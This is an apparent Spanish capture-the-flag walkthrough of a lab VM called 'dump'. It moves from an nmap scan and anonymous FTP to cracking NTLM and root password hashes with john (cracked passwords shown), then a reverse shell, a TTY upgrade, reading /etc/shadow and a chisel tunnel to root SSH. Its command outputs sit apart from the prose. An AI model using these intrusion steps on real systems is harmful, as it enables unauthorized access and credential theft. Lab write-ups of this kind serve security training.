Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-19 03:27 EDT
Nmap scan report for 192.168.5.84
Host is up (0.00061s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp pyftpdlib 1.5.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.5.84:21
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 root root 4096 Feb 09 2024 .backup [NSE: writeable]
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
4200/tcp open ssl/http ShellInABox
|_http-title: Shell In A Box
| ssl-cert: Subject: commonName=dump
| Not valid before: 2024-02-09T11:53:57
|_Not valid after: 2044-02-04T11:53:57
|_ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:2F:9A:CF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.52 seconds
Veremos varias cosas interesantes entre ellas un FTP que vemos de primeras que el modo anonimo si se puede loguear, por lo que vamos a intentar iniciar sesion.
FTP
Info:
Si listamos veremos que hay un .backup de directorio, si entramos dentro veremos dos archivos que seran los siguientes:
Info:
Vemos que son dos archivos relacionados con las tipicas claves que nos podemos encontrar en un windows para poder extraer los hashesNTLM de dicho windows, por lo que dentro tiene que haber cosas interesantes.
Una vez que nos lo hayamos descargado, vamos a extraer dichos hashes.
Info:
Veremos que lo hemos extraido de forma correcta, por lo que vamos a crear un archivo con dicho hash para poder intentar crackearlo.
hash
Ahora vamos a utilizar john para intentar crackearlo de esta forma:
Info:
Veremos que ha funcionado la mayoria, por lo que vamos a guardarnos dichas credenciales por si las tuvieramos que utilizar en un futuro.
Vamos a investigar el puerto 80 a ver que vemos ahi dentro, pero no veremos nada interesante, ahora si probamos a entrar al puerto 4200 que desde el nmap vimos que era como una especie de webshell en la propia pagina, veremos un error si entramos asi:
Pero en el reporte de nmap veremos que utiliza SSL por lo que tendremos que poner HTTPS de esta forma:
Con esto si nos aparecera como una terminal en la propia web, vamos a probar a utilizar los usuarios y contraseñas que descubrimos anteriormente.
Info:
Con esto veremos que estaremos dentro vamos a realizar una reverse shell para tener una mejor shell.
Antes de enviarla vamos a ponernos a la escucha.
Ahora si enviamos lo anterior y volvemos a donde tenemos la escucha veremos lo siguiente:
Vamos a sanitizar la shell de la siguiente forma:
Sanitización de shell (TTY)
Ahora vamos a leer la flag del usuario.
user.txt
Escalate Privileges
Si enumeramos un poco el sistema podremos ver lo siguiente:
Info:
Veremos que podemos leer el archivo shadow, si lo leemos veremos lo siguiente:
Vemos que nos ha dejado, por lo que vamos a probar a crackear el hash del usuario root.
hash.root
Ahora si lo intentamos crackear veremos lo siguiente:
Info:
Veremos que lo hemos conseguido, pero si volvemos a la maquina a realizar el su para escalar al usuario root veremos que no nos deja, pero si investigamos un poco veremos el siguiente puerto.
Info:
Veremos algo interesante y es que hay un SSH de forma local, pero si probamos a conectarnos de forma local por SSH veremos que no nos deja, por lo que vamos a utilizar chisel para exponerlo a nuestra maquina host.
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (NT [MD4 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=6
Press 'q' or Ctrl-C to abort, almost any other key for status
blabla (admin)
(Administrator)
1dumper (dumper)
3g 0:00:00:00 DONE (2025-08-19 03:51) 25.00g/s 19485Kp/s 19485Kc/s 19540KC/s 1ejem..1doxie
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.84] 38774
dumper@dump:~$ whoami
whoami
dumper
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
cfbe86765c16e9bf8ddc3739f4f270a9
ls -la /etc/shadow
-rw-r--r-- 1 root shadow 974 feb 9 2024 /etc/shadow
john --format=crypt --wordlist=<WORDLISTS> hash.root
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 6 for all loaded hashes
Cost 2 (algorithm specific iterations) is 5000 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
shadow123 (root)
1g 0:00:00:02 DONE (2025-08-19 04:04) 0.4830g/s 3942p/s 3942c/s 3942C/s weston..kaiden
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
2025/08/19 04:16:00 server: Reverse tunnelling enabled
2025/08/19 04:16:00 server: Fingerprint NWSrKq19+/1bJLz5QUix+DiY2DwE7DGyis59k5LzuYo=
2025/08/19 04:16:00 server: Listening on http://0.0.0.0:8000
2025/08/19 04:25:56 server: session#1: Client version (1.9.1) differs from server version (0.0.0-src)
2025/08/19 04:25:56 server: session#1: tun: proxy#R:2222=>22: Listening
ssh root@127.0.0.1 -p 2222
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:2222' (ED25519) to the list of known hosts.
root@127.0.0.1's password:
Linux dump 4.19.0-26-amd64 #1 SMP Debian 4.19.304-1 (2024-01-09) x86_64
root@dump:~# whoami
root